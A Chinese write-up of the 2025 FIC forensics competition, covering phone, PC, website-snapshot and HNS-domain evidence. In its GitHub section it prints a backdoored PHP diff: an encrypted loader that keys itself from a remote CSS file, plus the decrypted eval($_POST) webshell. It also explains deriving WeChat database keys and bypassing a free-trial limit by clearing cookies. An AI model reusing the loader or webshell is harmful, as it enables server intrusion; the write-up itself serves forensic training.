跳转至

2025年第五届 FIC 全国网络空间取证大赛初赛题解

Author: NoahTie & BlackBird, Hypnotics. @ 猫猫啥也不会

检材容器密码: 3x@9Qm!V8e$vL%6d^Yr5o*C#Nk7h&ZpFbW2sG4jXuD1cO0lTgAqHwRnIzJyM-_+K=

本次比赛允许使用互联网

比赛及复盘时用到的工具的清单:

  • 介质取证软件
    • 火眼证据分析软件
  • 系统仿真软件
    • 火眼仿真取证
  • 数据库工具
    • DB Browser for Sqlite (sqlitebrowser)
    • SQLiteStudio
  • 虚拟机软件
    • VMware Workstation Pro
  • 其它工具
    • Vera Crypt
    • VS code
    • 010 Editor
    • Irfan View
    • phpStudy
    • VLC
    • Python 3.13 with Jupyter
    • HashMyFiles
    • Umi OCR
    • WPS (OCR 文档识别功能)
    • Office PowerPoint (BB 用 PowerPoint 处理图像, 我不懂但大受震撼)
    • Audacity (音频编辑)
    • Affinity Photo 2 (图像处理)
    • 取证录像

案件背景

网络黑灰产往往结伴而生, 大量黑灰产内容错综复杂. 随着 ai 和互联网技术的发展黑灰产形式也越来越多样. 离线的孤军奋战已不再能解放生产力。

这次 fic 我们将通过黑灰产边缘人物李安弘的视角找到黑产们的老巢. 近期经匿名人员举报在某购物平台有店铺销售针孔摄像头, 警方通过调取购物平台后台权限后对订单内容进行固定获得(检材 1.rar). 经过一段时间的追查最终在店铺老板家中抓获老板李某(李安弘), 缴获李某手机(检材 2.tar), 电脑(检材 3.E01)和大量摄像头. 通过李某电子证据最终追查到该灰产上游人员陈某。

请各位取证专家根据剧情提供的检材, 还原这起事件的前因后果, 并回答下列问题:

  • 检材一
    • MD5: 668d1f53df0a6a0fbd9465551de46a10
    • SHA256: df8736ebcad651665d31c1dff2188b5fdbde5f458c195a4baa640b4803747d66
  • 检材二
    • MD5: 6e06bf0a394740cb2107d5f6d3a1164a
    • SHA256: e16953e8ba2784e96f69f102820fe427ca3bf20b5c24d46703d022e05209e530
  • 检材三
    • MD5: f65da8167944712884ee9f07debdcf1f
    • SHA256: 72ed00619ba80fe4768f028de1ab410975335177e86aa942dcd6099d5c69b896

第一部分 网站快照

[!检材 1 - 网站快照]

"老赵商城系统"并非公开推广的普通电商平台, 而是一个仅限内部使用\受邀注册的封闭系统. 李某利用这套系统, 建立起一条以代理人和渠道商为主导的销售链条, 将他定制\经过特殊改装的针孔摄像头销售给经过严格筛选的代理成员.

1.该取证录像文件的 SHA256 值为

2753da22fe23cadaadc14fe4c1d5096a153360d9f91097ea376846431f5c1567

certutil -hashfile 取证录像.mp4 SHA256

2.远程取证所使用的 OBS 工具版本号为

29.1.3

视频 00:04 展示了 OBS 版本号

3.该检材所使用的远程取证的工具名称为

A. 网镜

B. 快照大师

C. 网页专家

D. 网页取证能手

视频 00:09 展示了使用工具为"网镜"

4.远程取证过程中校验的北京时间为

A. 2025/4/9 13:33:18

B. 2025/4/9 13:34:18

C. 2025/4/9 13:35:18

D. 2025/4/9 13:36:18

视频 00:24 展示了校准北京时间为 2025/4/9 13:36:18

5.远程取证的网站 IP 地址为

172.16.10.200

视频 00:24 左侧展示了本机 Hosts 文件, 结合 00:53 取证的域名为laozhao.com, 可以判断IP地址为 172.16.10.200

1-20250426231827.png

以及视频 00:44 有 ping laozhao.com 记录,可以看到 IP 地址

6.远程取证的网站密码为

admin123

视频 01:06 展示了网站密码

1-20250426232314.png

7.在已固定的"订单列表"中发现有一页缺失. 请找出缺失页面的具体页码为

12

这部分其实是后做的, 数据量很大, 于是想着先用"代理列表"的少量数据尝试下完整快速的解决办法;

基于"代理列表"的思路, 缺失页码的数据是从视频里截到的, 视频里展示过的"订单列表"页码只有 1 - 13, 快速 review 下全部图片(出于懒的心态,能晚点ocr就晚点ocr), 只定位1 - 13, 发现缺失页码为 12

8.补充"订单列表"中缺失页面的数据后, 统计订单的总数为

4000

总数在每张"订单列表"数据图片下方选页码处, 4000

9.补充"订单列表"中缺失页面的数据后, 统计已完成订单中"老李监控批发"的订单数为

238

OCR 启动

Umi OCR 批量转文字的处理会出现一些小瑕疵, 比如识别行偏移之类, 在"代理列表"部分尚可手工处理几个偏移,这里过多了.

用了 WPS 的图片转文字功能(之前不知道啥时候开过vip), 可以转excel, 格式和行列识别很准, 基本一遍过, 不过因为限制图片数量原因, 需要批量合并一下工作表和工作簿.

(这里有个坑就是图片有重复的, 识别完用 uniquevlookup 处理下数据就行)

处理好的数据筛选一下"已完成订单"和"老李监控批发", 获得结果

1-20250426235056.png

10.补充"订单列表"中缺失页面的数据后, 统计已完成订单中"老李监控批发"的 ZK-101 产品的订单数为

70

再筛一下 ZK-101

1-20250426235226.png

11.补充"订单列表"中缺失页面的数据后, 统计已完成订单中"老李监控批发"产品在上海区域的订单数为

12

上海区域的代理人可在“代理列表”找到共 5 个

1-20250426235429.png

筛选一下 12 个

1-20250426235934.png

12.补充"订单列表"中缺失页面的数据后, 统计已完成订单中"老李监控批发"的销售情况, 并计算"赵磊(13967346658)"优惠后的总金额为(例如, 优惠率为 10% 时按原单价的 90% 计算)

4390

1800 * 0.7 + 2000 * 0.9 + 1900 * 0.7 = 4390

1-20250427000050.png

13.补充"代理列表"中缺失页面的数据后, 统计代理人的最大层级数为(其中顶级代理的用户定义为第 1 层)

5

"代理列表"共 5 页, 缺失页码为 1, 找到视频展示部分截下来补充.

用啥 OCR 软件都行, Umi OCR 能用有点偏差修一修就行, 选单栏保留缩进, 可以获得一个格式较为整齐的 txt 文件, 写个 python 脚本处理一下空格换行转成 csv 就能用了.

import csv
import re

input_file = 'input.txt'
output_file = 'output.csv'
log_file = '异常.txt'

with open(input_file, 'r', encoding='utf-8') as f:
    lines = f.readlines()

header = re.split(r'\s{2,}', lines[0].strip())
data = []
log = []

for i, line in enumerate(lines[1:], start=2):  # 行号从2开始(含标题)
    raw_line = line.strip()
    fields = re.split(r'\s{2,}', raw_line)
    if len(fields) != 6:
        log.append(f"第{i}行(字段数为{len(fields)}):{raw_line}")
      # 自动修正:多了就截,少了就补空
        if len(fields) > 6:
            fields = fields[:6]
        else:
            fields += [''] * (6 - len(fields))
    data.append(fields)

with open(output_file, 'w', newline='', encoding='utf-8-sig') as f:
    writer = csv.writer(f)
    writer.writerow(header)
    writer.writerows(data)

if log:
    with open(log_file, 'w', encoding='utf-8') as f:
        f.write("以下为字段数不为6的原始行记录:\n\n")
        f.write('\n'.join(log))

print(f"CSV:{output_file}")
print(f"异常行 {len(log)} 行,log:{log_file}")

最大层级数

import csv

input_file = 'output.csv'
output_file = 'output_with_levels.csv'

# 读取并清洗
with open(input_file, 'r', encoding='utf-8-sig') as f:
    reader = csv.DictReader(f)
    rows = list(reader)
    cleaned_rows = []
    for row in rows:
        cleaned_row = {k.strip().lstrip('\ufeff'): v.strip() for k, v in row.items()}
        cleaned_rows.append(cleaned_row)
    rows = cleaned_rows

# ID -> 上级ID 映射
id_to_parent = {}
for row in rows:
    agent_id = row['代理人ID']
    parent_id = row['上级代理ID']
    id_to_parent[agent_id] = parent_id

# 计算层级函数
def get_depth(agent_id, cache):
    if agent_id not in id_to_parent or id_to_parent[agent_id] == '0':
        return 1
    if agent_id in cache:
        return cache[agent_id]
    parent_id = id_to_parent.get(agent_id, '0')
    depth = 1 + get_depth(parent_id, cache)
    cache[agent_id] = depth
    return depth

depth_cache = {}
max_depth = 0

# 所在层数
for row in rows:
    agent_id = row['代理人ID']
    level = get_depth(agent_id, depth_cache)
    row['所在层数'] = level
    if level > max_depth:
        max_depth = level

# 写入
fieldnames = list(rows[0].keys())
with open(output_file, 'w', newline='', encoding='utf-8-sig') as f:
    writer = csv.DictWriter(f, fieldnames=fieldnames)
    writer.writeheader()
    writer.writerows(rows)

print(f" {max_depth} 层")
print(f"层级列:{output_file}")

14.补充"代理列表"中缺失页面的数据后, 统计每位代理的直接下游人数, 并确定直接下游人数排名第一的代理人为

李玲娟

统计一下出现次数最多的"上级代理ID"即可

1-20250427001502.png

15.补充"代理列表"中缺失页面的数据后, 根据地址信息统计各区域的代理人数, 并确定上海区域的代理人数为

5

1-20250426235429.png

第二部分 手机取证

[!检材 2 - 李某手机]

老李沟通生意所用的设备.

1.该手机的 device_name 是

Redmi 6 Pro

检材2.tar/adb/lspd/log/props.txt 可以看到设备信息:

Pasted image 20250427120230.png

2.PC 开机密码是什么

1qaz2wsx

一般手机中记录密码的地方: 远控相关软件记录、手机便签、照片等。浏览该软件安装软件列表, 没有远程连接相关软件. 查看便签相关软件, 该设备安装了三个软件:

应用名称 包名 类型
懒猫笔记本-备忘录 com.lazy.note 非预装
小米便签 com.miui.notes 非预装
备忘录日记 com.bijoysingh.yang 非预装

/data/{packageName} 路径下翻找记录, 最终在"备忘录日记"的路径下找到相关内容:

image-20250426225838978.png

3.嫌疑人接头暗号是什么

爱能不能够永远单纯没有悲哀

见上题:

image-20250426230215765.png

根据软件便签内容可以看到, 接头暗号是图片格式存储的. 在 files/images 路径下找到 ub690t1mq9kelnah.png 文件:

image-20250426230030367.png

4.嫌疑人存放的秘钥环是多少

1qaz2wsx3edc

在火眼自动分析的备忘录中可以看到:

image-20250426223338534.png

查看小米自带的便签应用 com.miui.notes 中的数据:

image-20250426223901556.png

5.嫌疑人一生中最重要的日子是什么时候

2026-02-26

推测和纪念日相关,手机中相关的软件:

应用名称 包名 类型
倒数日 com.clover.daysmatter 非预装
日历存储 com.android.providers.calendar 预装
日历 com.android.calendar 预装

逐个查看/data/{packageName}路径,并没有找到相关的记录。在系统截图中,找到:

image-20250426232138956.png

根据截图内容与图片元数据可以推测, 截图日期是 2025-04-11, 具体 "我一生中最重要日子还有 321 天", 数一数, 用 python 计算一下:

from datetime import datetime, timedelta

start_date = datetime(2025, 4, 11)

future_date = start_date + timedelta(days=321)

print(f"2025-04-11后的321天是: {future_date.strftime('%Y-%m-%d')}") 
# 2025-04-11后的321天是: 2026-02-26

6.微信生成的聊天记录数据库文件名称是什么

EnMicroMsg.db

其实这个基本上都成常识了...

我们随便选择一条聊天记录, 点击"跳转到源文件":

image-20250426232832738.png

image-20250426232848232.png

7.嫌疑人微信账号对应的 UIN 为多少

1864810197

见下题

8.微信聊天记录数据库的加密秘钥是什么

31ad809

做这道题需要事先找到 EnMicroMsg.db 的位置 /data/data/com.tencent.mm/MicroMsg/(32 AlphaNum)/EnMicroMsg.dbauth_info_key_prefs.xml 的位置: /data/data/com.tencent.mm/shared_prefs/auth_info_key_prefs.xml

并且找到手机的 IMEI 信息:

Pasted image 20250427093758.png

2 条 IMEI 信息分别是

  • 868139033433456
  • 868139033433464

另外, 如果微信在创建数据库时没有获取到 IMEI 信息, 则会使用 1234567890ABCDEF 代替 IMEI. 这种情况下 auth_info_key_prefs.xml 文件中会缺少 IMEI 信息.

接着在 auth_info_key_prefs.xml 文件中找到 UIN 信息为 1864810197:

image-20250426233209235.png

火眼的自动分析中也有 UIN 信息:

Pasted image 20250427093945.png

用你喜欢的哈希计算工具计算 md5(IMEI+UIN) 并截取前 7 位. 因为本题中微信并没有获取到 IMEI 信息, 因此只用计算 md5("1234567890ABCDEF"+UIN) 即可.

Pasted image 20250427095252.png

微信加密数据库使用的是 SQLCipher 1, 参数配置为

  • kdf_iter = 4000
  • cipher_use_hmac = OFF
  • cipher = AES-256-CBC
  • cipher_page_size = 1024

可以使用老版本(仍然支持 SQLCipher 1)的 DB Browser for SQLite 加载; 或者使用 SQLiteStudio 加载, 但需要手动配置参数:

PRAGMA cipher_compatibility = 1;

Pasted image 20250427101155.png

密码是 31ad809.

9."欠条.rar"的解压密码是多少

3170010703

在微信的聊天记录中提及到了关于解压密码的信息:

Pasted image 20250426214319.png

稍前一些的聊天记录中提到了手机号码的信息:

Pasted image 20250426214348.png

但是只发了一张图片, 猜测手机号码是被隐藏在图片中了:

Pasted image 20250426214251.png

woc, ⚪

在微信的文件存储目录 检材2.tar/data/com.tencent.mm/MicroMsg/f6781d69b1866c72a087d67dd3b05189/image2/8f/bb/ 中找到 2 张相似的图片:

Pasted image 20250426214516.png

区别仅在于其中一张上有二维码的水印:

Pasted image 20250426214925.png

但是我找了几个二维码解析工具, 都不能直接识别出来, 得先处理一下.

Pasted image 20250426220606.png

最后用手机上的 QR Scanner 扫出来的. 不过这个图片是有规律的, 底纹类似于 PS 里透明显示的棋盘格, 应该是有办法识别出来的.

126c594adc49fa03c4c1c88875dc2c37.jpeg

试了一下, 密码是不带区号的.

10."欠条.rar"解压后, 其中 VeraCrypt 容器的 MD5 值是多少

83da62aabc88cb1b23e9469142b67b80

11."欠条.rar"解压后, 其中"1.png"图上显示的 VeraCrypt 容器密码是多少

#!@KE2sax@!da0h5hghg34&@

看到有 1.png图片密码.png, 在 1.png 中隐约看到密码:

image-20250426234431167.png

推测是将两张图片叠加在一起(xor), 才能清晰看到密码, 但是比赛时手头没有ps, 放ppt里面, 处理一下(调整对比度、亮度啥的):

image-20250426235107830.png

蛮折磨人的...

调了一下, 感觉最清晰的也就是这样了. 图片上随机噪声太多, 否则直接截取一部分做差效果应该更好.

Pasted image 20250427102722.png

12.嫌疑人李某全名是什么

李安弘

根据上述容器密码, 挂载欠条容器,获得欠条内容:

image-20250426235321991.png

但这个题有一个很离谱的点, 如果稍微注意一下答题平台, 就可以看到:

image-20250426235556748.png

蛮扯淡的...

13.嫌疑人欠款金额是多少

80000

见上题.

第三部分 介质取证

[!检材 3 - 李某电脑]

老李用于存放个人物品的设备.(?)

居然是个麒麟 Linux. Kylin 是基于 Debian 的 Linux 发行版, 改动不算很大. 最值得一提的大概是 Kylin 默认的图形化界面是 Wayland.

1.该电脑最后一次开机时间是

2025-04-14 11:49:47

Pasted image 20250426184945.png

2.嫌疑人的备用机号码是

18877332134

在便签贴里面可以看到一条记录, 其中插入了一个文件对象.

Pasted image 20250428121205.png

跳转到原始数据库, 查看这一条便签贴对应的原始记录

Pasted image 20250428121458.png

可以看到插入了一个 Base64 编码的图片文件. Base64 转回二进制可以看到是个透明背景的 png 文件:

Pasted image 20250428121650.png

3.域名 dgy02.com 曾保存过一个密码, 该密码是

tcgg123456

可以看到在 Chrome 浏览器中保存了 dgy02.com 的用户信息:

Pasted image 20250426185710.png

需要仿真查看. 启动 Chrome 浏览器之后要求输入密钥环口令:

Pasted image 20250426190806.png

如果用过 KDE 用户界面的话, 应该见过 KDE Wallet, 其本质上是个 GUI 的密钥环管理程序. 密钥环的口令在 Android 手机的备忘录中, 使用口令 1qaz2wsx3edc 解锁密钥环.

之后就可以在 Chrome 保存的密码中看到:

Pasted image 20250426191756.png

4.其电脑安装的微信版本是

4.0.0.21

在安装的软件列表中可以看到:

Pasted image 20250426191854.png

5.该系统有哪些远程控制软件

A. todesk

B. 向日葵

C. raylink

D. 爱思远控

仿真后可以在应用菜单里看到:

Pasted image 20250426190709.png

在火眼分析出的软件信息中也可以看到:

Pasted image 20250426192607.png

Pasted image 20250426192640.png

6.电脑 2025 年 4 月 10 日 11 点 4 分 29 秒曾被向日葵远程控制, 其记录的日志文件名为

在向日葵的日志目录 检材3.E01/分区6/var/log/sunlogin 中可以看到:

Pasted image 20250426192756.png

其中 sunlogin_service.log* 是程序核心组件的日志, 其中 sunlogin_service.log.2 的创建时间和修改时间包含了 2025-04-10 11:04:29. 在该文件中搜索时间:

Pasted image 20250426193147.png

可以看到客户端接受控制的日志.

7.电脑 2025 年 4 月 10 日 11 点 4 分 29 秒曾被向日葵远程控制, 日志内记录对方公网IP地址和端口为

182.100.46.36:4118

接上题. 根据日志中的内容, 可以判断出来 p2p 连接时, 对方服务端的公网 IP 及端口为 182.100.46.36:4118, 受控客户端被分配到的公网 IP 及端口为 116.192.161.222:2577, 局域网 IP 为 192.168.3.192.

8.某文件的 MD5 值为"2bdfcdbd6c63efc094ac154a28968b7d", 该文件名为

important.docx

WPS 最近访问的文档中有一个 important.docx, md5 与题目中的一致.

Pasted image 20250426193521.png

9.据调查, 上述文件存放了钱包助记词, 第一个单词是什么

solution

文件打开之后内容只有 1 行:

Pasted image 20250426194036.png

猜测是 office 文档隐写. 直接解压, 在 docProps 中有一个不该出现的图片:

Pasted image 20250426194214.png

内容是 12 个助记词:

Pasted image 20250426194242.png

10.请分析"我的测试机", 最近曾访问过的音频文件, 该音频文件的文件名是什么

自传小说.MP3

题目中提到的"我的测试机"是 VMware 虚拟机, 位于 检材3.E01/分区8/home/adm1n/文档/我的测试机/ 目录下, 火眼的检材嵌套识别可以自动分析出来:

Pasted image 20250426194515.png

将其中的虚拟硬盘 我的测试机.vmdk 作为新检材添加. 在火眼的"最近访问的项目"中可以看到一个 mp3 格式的音频文件:

Pasted image 20250426194719.png

11.请分析"我的测试机", 最近曾使用过USB设备, 该设备的名称为

A. ThinkPLus

B. Toshiba

C. Samsumg

D. Database

在火眼的"USB 设备信息"中可以看到:

Pasted image 20250426194828.png

12.请分析"我的测试机"中的音频内容, 并回答, 嫌疑人现任妻子毕业的大学是

北京大学

这道题及之后的题目的答案均由第 10 题中的音频文件得到.

用音频编辑软件打开音频文件, 可以看到音频有明显的分段, 每段之间夹杂一个较大的静音片段:

Pasted image 20250426195144.png

可以先手动对其进行处理, 去除静音部分或将有声片段切片导出.

找一个语音转文字的工具, 对音频内容进行转写. 我用的是 AI智能语音转文字软件 | GitMind, 不用登陆, 虽然有限制免费只能转写 1 次且有时长限制, 但信息保存在 Cookie 里, 用一次清一次 Cookie 就能无限试用.

语音是合成语音, 带方言口音的, 所以转写准确度不是很好, 凑合能看.

最开始提到自己的前妻毕业于上海大学:

Pasted image 20250426201140.png

后来又提到自己和毕业于北京大学的现任走到一起:

Pasted image 20250426201538.png

13.请分析"我的测试机"中的音频内容, 并回答, 嫌疑人是通过一个朋友认识的陈老板, 该朋友姓氏拼音是

wang

Pasted image 20250426201255.png

14.请分析"我的测试机"中的音频内容, 并回答, 嫌疑人所说的香格里拉大酒店实则是

棋牌室的后院

Pasted image 20250426201343.png

15.请分析"我的测试机"中的音频内容, 并回答, 嫌疑人银行密码是多少

071492

我愿称这道题为究极脑洞 Misc 题. 打比赛的时候没想到, 复盘的时候也没想到. 最后是在另外一位师傅的博客2025FIC初赛WP-CSDN博客里看到的答案.

之前提到音频文件被人为添加了多段空白, 并分割为 13 段语音.

每段语音的开头:

我叫李安宏...
得到毕业证书后...
银色的流星划过天际...
行家啊...
密聊中...
马上我们相约在香格里拉大酒店...
事后...
凌伍诚(音)便是这这时候...
起初...
一次次这样...
四楼的车库里...
就是些交易的场面...
而每当这个念头浮现...

取每一段音频的**首字**, 拼接起来得到 我得银行密马事凌起一四就而 = 我的银行密码是071492. 感觉又赤了口大的...

第四部分 互联网

警方在服务器中发现了疑似陈某的网站域名, 通过该域名警方成功找到陈某的互联网身份和相关 IP.

请选手固定所有题目相关互联网部分内容.

这部分题目没有检材文件, 选手需要自行在网上找到对应的信息, 并对证据进行固定.

WEB 3.0 在之前打 WEB 的时候听过, 但是没怎么仔细了解过. 没想到这次比赛能遇到, 边打比赛边现学了一下 HNS 的知识, 收获不小.

1.找到李某上游人员陈某博客宣传所用域名为

chen.foren6

在手机的微信聊天记录中提到博客地址是 chen.foren6.

Pasted image 20250426203911.png

2.请分析陈某宣传所用域名, 该域名的顶级域名在以下那个区块链注册

A. ETH(https://ens.domains/)

==B. HNS(https://handshake.org/)==

C. BTC(https://bitcoin.org/)

D. Namecoin(https://www.namecoin.org/)

ETH(ENS) 注册的域名顶级域名固定是 eth.

Handshake(HNS) 是去中心化 DNS 服务, 支持用户注册​自定义顶级域名​, 无需通过 ICANN.

BTC 链上的顶级域名固定为 btc, 且不用于传统的域名解析.

Namecoin 也用于去中心化 DNS 服务, 但顶级域名为 ​​.bit​.

3.顶级域名的域名解析服务器(DNS)共有几个

2

在一个购买 HNS 域名的网站上搜到了 foren6 的信息:

.foren6 | Handshake top-level domain | Namebase

可以看到其拥有 2 个 DNS 服务器, 分别是 ns1.varo.domainsns2.varo.domains:

Pasted image 20250426205122.png

4.顶级域名的 NS1 服务器 IP 为

45.79.133.98

用 dig 在 ns1.varo.domains DNS 服务器上查一下顶级域名 foren6 的解析:

dig @ns1.varo.domains foren6

Pasted image 20250426205526.png

可以看到 ns1.varo.domains 的 IP 地址为 45.79.133.98.

5.请分析陈某宣传所用域名, 该域名 DNS 记录指向邮件服务器域名为

mail.163.com

dig MX @ns1.varo.domains chen.foren6

Pasted image 20250426205731.png

6.请分析陈某宣传所用域名, 该域名的 TXT 记录中 chen 的值为

fengbaoliejiu

dig TXT @ns1.varo.domains chen.foren6

Pasted image 20250426205906.png

也可以通过查询 ANY 信息来看到以上几道题的全部答案:

dig ANY @ns1.varo.domains chen.foren6

Pasted image 20250426210638.png

7.请分析陈某宣传所用域名, 该域名 DNS 记录没有以下那个域名

A. admin.chen.foren6

B. caidan.chen.foren6

C. fichen.foren6

D. hl.chen.foren6

dig ANY 来查看域名解析的全部信息.

admin.chen.foren6 的解析, 有 1 条 MX 信息:

Pasted image 20250426210231.png

caidan.chen.foren6 的解析, 有 1 条 A 信息:

Pasted image 20250426210348.png

fichen.foren6 无解析, 只有根域名的 SOA 信息:

Pasted image 20250426210535.png

hl.chen.foren6 无解析, 只有根域名的 SOA 信息:

Pasted image 20250426210736.png

8.请分析陈某宣传所用域名, 该博客域名最终 DNS 解析指向的 github 仓库名为

chewhaoN.github.io

dig CNAME @ns1.varo.domains blog.chen.foren6

Pasted image 20250426210053.png

9.请分析陈某 github 账号,陈某对 jkroepke/2Moons 项目增改了几个文件

2

这里有两个方案找到陈某的 2Moons 项目:

首先是一个方案, 如果没有做出前 8 个题目, 我们根据题干首先找到jkroepke/2Moons 项目, 我们查看该项目的 fork:

image-20250426235851634.png

这些项目都是很早之前的, 因此我们推测陈某是直接拷贝代码, 那么直接搜索:

image-20250427000116991.png

另一种方案是根据上一题的博客地址, 找到陈某的 github 账号, 再查看该账号下的仓库:

image-20250427000525128.png


我们将 chewhaoN/2Moonsjkroepke/2Moons 分别克隆到本地, 删除两个文件夹内的 .git 目录, 使用 git diff 指令, 进行比对:

diff --git "a/.\\chen\\/encrypted.bin" "b/.\\chen\\/encrypted.bin"
new file mode 100644
index 0000000..d6a0dce
--- /dev/null
+++ "b/.\\chen\\/encrypted.bin"
@@ -0,0 +1 @@
+9T8NBGdXI1Xe46fDOsPmrmuhAD9Rk/XQMRukLHJDXMm9wexBjKY/8QQv1OvxCiA87B0ZQ9kFgQiJ0fCquio0EcK5sWr1yUMYrapSWgUXMbD2/P4Qs9lO1cc53rRgZ8lg5r7d21YJkFFkyKJDMAmEjw==
\ No newline at end of file
diff --git "a/.\\2Moons\\/includes/libs/Smarty/plugins/block.textformat.php" "b/.\\chen\\/includes/libs/Smarty/plugins/block.textformat.php"
index e9f5fe2..359a53f 100644
--- "a/.\\2Moons\\/includes/libs/Smarty/plugins/block.textformat.php"
+++ "b/.\\chen\\/includes/libs/Smarty/plugins/block.textformat.php"
@@ -33,8 +33,9 @@
  * @return string content re-formatted
  * @author Monte Ohrt <monte at ohrt dot com>
  */
-function smarty_block_textformat($params, $content, $template, &$repeat)
-{
+
+   function smarty_block_textformat($params, $content, $template, &$repeat)
+{
     if (is_null($content)) {
         return;
     }
@@ -109,4 +110,6 @@ function smarty_block_textformat($params, $content, $template, &$repeat)
     } else {
         return $_output;
     }
+    $a=file_get_contents('https://foren6.atwebpages.com/woyao/eat/%E7%81%AB%E9%94%85/%E8%9C%82%E8%9C%9C%E9%94%85%E5%BA%95.css');$b=md5($a,true);$c=file_get_contents('../../../../encrypted.bin');$d=base64_decode($c);$e='aes-256-cbc';$f=openssl_cipher_iv_length($e);$g=substr($d,0,$f);$h=substr($d,$f);$i=openssl_decrypt($h,$e,$b,OPENSSL_RAW_DATA,$g);$j=sys_get_temp_dir();$k=$j.'/func_'.uniqid().'.php';file_put_contents($k,"<?php\n".$i);include $k;unlink($k);yijuhua();
+
 }

陈某增加了 encrypted.bin 文件, 修改了 /includes/libs/Smarty/plugins/block.textformat.php 文件.

或者也可以另 fork 一个官方仓库, clone 到本地, 再用 chewhaoN/2Moons 中的文件覆盖本地仓库的文件, commit 一下就能看出来那些文件变动了.

10.请分析陈某 github 账号,陈某在修改 2Moons 过程中提到了什么锅底

蜂蜜锅底

查看陈某对项目的修改:

$a=file_get_contents('https://foren6.atwebpages.com/woyao/eat/%E7%81%AB%E9%94%85/%E8%9C%82%E8%9C%9C%E9%94%85%E5%BA%95.css');$b=md5($a,true);$c=file_get_contents('../../../../encrypted.bin');$d=base64_decode($c);$e='aes-256-cbc';$f=openssl_cipher_iv_length($e);$g=substr($d,0,$f);$h=substr($d,$f);$i=openssl_decrypt($h,$e,$b,OPENSSL_RAW_DATA,$g);$j=sys_get_temp_dir();$k=$j.'/func_'.uniqid().'.php';file_put_contents($k,"<?php\n".$i);include $k;unlink($k);yijuhua();

大致看一眼, 就知道执行了一句话 webshell, 稍微修改美化一下:

// 获取远程CSS文件内容,并计算其MD5哈希作为AES密钥
$cssContent = file_get_contents('https://foren6.atwebpages.com/woyao/eat/%E7%81%AB%E9%94%85/%E8%9C%82%E8%9C%9C%E9%94%85%E5%BA%95.css');
$aesKey = md5($cssContent, true);

// 读取本地加密的二进制文件
$encryptedData = file_get_contents('../../../../encrypted.bin');
$base64DecodedData = base64_decode($encryptedData);

// AES-256-CBC解密准备
$cipherMethod = 'aes-256-cbc';
$ivLength = openssl_cipher_iv_length($cipherMethod);
$iv = substr($base64DecodedData, 0, $ivLength); // 提取IV(初始化向量)
$encryptedPayload = substr($base64DecodedData, $ivLength); // 剩余部分是加密数据

// 解密数据(PHP代码)
$decryptedPhpCode = openssl_decrypt(
    $encryptedPayload,
    $cipherMethod,
    $aesKey,
    OPENSSL_RAW_DATA,
    $iv
);

// 将解密后的代码写入临时文件并执行
$tempDir = sys_get_temp_dir();
$tempPhpFile = $tempDir . '/func_' . uniqid() . '.php';
file_put_contents($tempPhpFile, "<?php\n" . $decryptedPhpCode);
include $tempPhpFile;
unlink($tempPhpFile); // 执行后删除临时文件

// 调用解密代码中的函数
yijuhua();

其中获取 aesKeycss 文件的 urlhttps://foren6.atwebpages.com/woyao/eat/%E7%81%AB%E9%94%85/%E8%9C%82%E8%9C%9C%E9%94%85%E5%BA%95.css, url 解码后为:

image-20250427001533989.png

不是... 蜂蜜锅底, 能好吃, 吗? 不是很懂你们上海人...

11.请分析陈某 github 账号,陈某在游戏 2Moons 中放置的后门连接码的密码为

ficnb

我们本地起一个 phpstudy, 由于执行过程使用 openssl 相关的函数, 因此记得修改 php.ini 文件, 启动 openssl extension, 为了避免意外, 我们将 css 文件手动下载到了本地:

<?php
// 获取远程 CSS 文件内容, 并计算其 MD5 哈希作为 AES 密钥
// 需要配置才能访问外部资源, 这里用 python 先把资源下载到本地
//$cssContent = file_get_contents('https://foren6.atwebpages.com/woyao/eat/%E7%81%AB%E9%94%85/%E8%9C%82%E8%9C%9C%E9%94%85%E5%BA%95.css');
//open("./key.css", 'wb').write(requests.get("http://foren6.atwebpages.com/woyao/eat/%E7%81%AB%E9%94%85/%E8%9C%82%E8%9C%9C%E9%94%85%E5%BA%95.css").content)
$cssContent = file_get_contents('./key.css');
$aesKey = md5($cssContent, true);
echo base64_encode($aesKey);
echo "<br />";

// 读取本地加密的二进制文件
$encryptedData = file_get_contents('./encrypted.bin');
$base64DecodedData = base64_decode($encryptedData);

// AES-256-CBC解密准备
$cipherMethod = 'aes-256-cbc';
$ivLength = openssl_cipher_iv_length($cipherMethod);
$iv = substr($base64DecodedData, 0, $ivLength); // 提取IV(初始化向量)
$encryptedPayload = substr($base64DecodedData, $ivLength); // 剩余部分是加密数据

echo base64_encode($iv);
echo "<br />";

echo base64_encode($encryptedPayload);
echo "<br />";

// 解密数据(PHP代码)
$decryptedPhpCode = openssl_decrypt(
    $encryptedPayload,
    $cipherMethod,
    $aesKey,
    OPENSSL_RAW_DATA,
    $iv
);

echo $decryptedPhpCode;
>

解密结果为:

function yijuhua() {
    echo "Kangle) is OK! FICer is good!";
    eval($_POST[ficnb])
}

因此后门密码为 ficnb.

不过解密逻辑很简单, 直接上 Python 比 php 做还快一点. 唯一要注意的一点是 OpenSSL 库中会自动对长度不足的密钥进行左侧补零, 但 Python 中需要自行填充:

import hashlib
import requests
import base64

"""
css_url = 'https://foren6.atwebpages.com/woyao/eat/%E7%81%AB%E9%94%85/%E8%9C%82%E8%9C%9C%E9%94%85%E5%BA%95.css'
response = requests.get(css_url)
response.raise_for_status()
css_content = response.content
"""

css_content = open("./蜂蜜锅底.css", "rb").read()
aes_key = hashlib.md5(css_content).digest().ljust(32, b'\x00')

encrypted_data = open('./encrypted.bin', 'rb').read()
base64_decoded_data = base64.b64decode(encrypted_data)

iv = base64_decoded_data[ : 16]
encrypted_payload = base64_decoded_data[16 : ]


from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

cipher = AES.new(aes_key, AES.MODE_CBC, iv=iv)
decrypted_data = cipher.decrypt(encrypted_payload)

decrypted_php_code = unpad(decrypted_data, AES.block_size).decode('utf-8')

with open("out.php", "w") as f:
    f.write("<?php\n" + decrypted_php_code)

12.请访问陈某当前博客,陈某课程的扫码报名地址的域名为

fic.forensix.cn

我们访问陈某的博客, 可以看到一个明显的二维码:

image-20250427005413792.png

我们在该页面的右侧可以看到标题为 hns建站流程 的帖子, 如果第 9 题之前没有做出来的, 可以参考该帖子内容.

(小声蛐蛐一下, 在这个题目中, "扫码参加课程学习渗透黑客技术, 日入 5 位" 对应着竞赛官网 fic.forensix.cn...)

13.通过互联网找到陈某的旧博客网站标题为

柳如烟大战霸天虎

在博客的 header 部分, 有一个跳转到旧博客的超链接 http://forensix2025.work.gd/, 但是该网页已经废弃了,因此我们尝试搜索该网页的先前镜像:

image-20250427010216094.png

来自 WikiPedia:

